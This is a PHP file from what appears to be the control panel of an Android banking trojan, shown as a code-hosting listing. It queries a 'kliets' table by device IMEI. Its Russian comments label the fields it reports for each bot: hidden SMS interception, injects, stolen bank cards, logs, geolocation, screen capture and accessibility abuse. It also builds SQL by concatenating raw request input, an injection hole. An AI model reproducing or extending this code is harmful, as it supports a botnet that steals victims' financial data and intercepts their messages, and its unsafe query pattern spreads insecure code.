114 lines
3.0 KiB
PHP
114 lines
3.0 KiB
PHP
<?php
|
|
session_start();
|
|
|
|
if(isset($_SESSION["wh_anu7"])) {
|
|
// header("Location: ./homepage.php");
|
|
echo "" ;
|
|
|
|
}else{
|
|
header("Location: ./");
|
|
}
|
|
$statusCode=false;
|
|
if (!(isset($_SESSION['panel_user'])))
|
|
{
|
|
session_destroy();
|
|
header("Location: /index.php");
|
|
}else{
|
|
|
|
if ($_SESSION['panel_status']!="Action"){
|
|
session_destroy();
|
|
header("Location: /index.php");
|
|
}else{
|
|
$statusCode=true;
|
|
}
|
|
}
|
|
|
|
if($statusCode){
|
|
|
|
if(isset($_REQUEST['imeis'])){
|
|
include_once "../../config.php";
|
|
|
|
$getIMEIs = $_REQUEST['imeis'];
|
|
|
|
$arrayIMEI = explode(':',$getIMEIs);
|
|
|
|
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
|
$connection->exec('SET NAMES utf8');
|
|
|
|
$arrayData = '';
|
|
foreach($arrayIMEI as $imei){
|
|
|
|
if(strlen($imei)>4){
|
|
$sql = "SELECT * FROM kliets WHERE IMEI='".$imei."'";
|
|
foreach($connection->query($sql) as $row){
|
|
if($imei == $row['IMEI']){//IMEI
|
|
$lastConnect = $row['lastConnect'];
|
|
$getInconConnect = getIconOnline($lastConnect);//онлайн
|
|
$getScreen = $row['screen'];//скрин
|
|
$getaccessibility = $row['accessibility'];//спец возможности
|
|
$requestSMS = $row['requestSMS'];//скрытый перехват
|
|
$requestInjProc=$row['requestInjProc'];//инжи
|
|
$requestGeoloc=$row['requestGeoloc'];//геолокация
|
|
$cards = $row['l_bank']; //карты
|
|
$injs = $row['inj']; //инжекты
|
|
$logs = $row['log']; //логи
|
|
|
|
if($getInconConnect!=0){
|
|
$getScreen=0;
|
|
}
|
|
|
|
$arrayData = "$arrayData|$imei:$getInconConnect:$getScreen:$getaccessibility:$requestSMS:$requestInjProc:$requestGeoloc:$cards:$injs:$logs";
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
echo "$arrayData";
|
|
}
|
|
}
|
|
|
|
function getIconOnline($lastConnect){
|
|
//******Получаем иконку состояния бота, вычисляем дату****
|
|
$arr_data_from = explode(" ", $lastConnect);
|
|
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
|
|
|
$date_from = $arr_data_from[0];
|
|
$date_till = $arr_data_till[0];
|
|
|
|
$date_from = explode('-', $date_from);
|
|
$date_till = explode('-', $date_till);
|
|
|
|
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
|
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
|
|
|
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
|
//----------Секунды!-------/
|
|
$date1 = new \DateTime($lastConnect);
|
|
$date2 = new \DateTime(date('Y-m-d H:i'));
|
|
$diff = $date2->diff($date1);
|
|
// разница в секундах
|
|
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
|
($diff->m * 30 * 24 * 60 * 60) +
|
|
($diff->d * 24 * 60 * 60) +
|
|
($diff->h * 60 * 60) +
|
|
($diff->i * 60) +
|
|
$diff->s;
|
|
//----------обработка состояние иконки on/off-------/
|
|
if($day>=2)//Дни!
|
|
{
|
|
return '2';//умер
|
|
}
|
|
else
|
|
{
|
|
if($seconds<=120)
|
|
{
|
|
return '0';//онлайн
|
|
}
|
|
else
|
|
{
|
|
return '1';//оффлайны
|
|
}
|
|
}
|
|
}
|
|
?>
|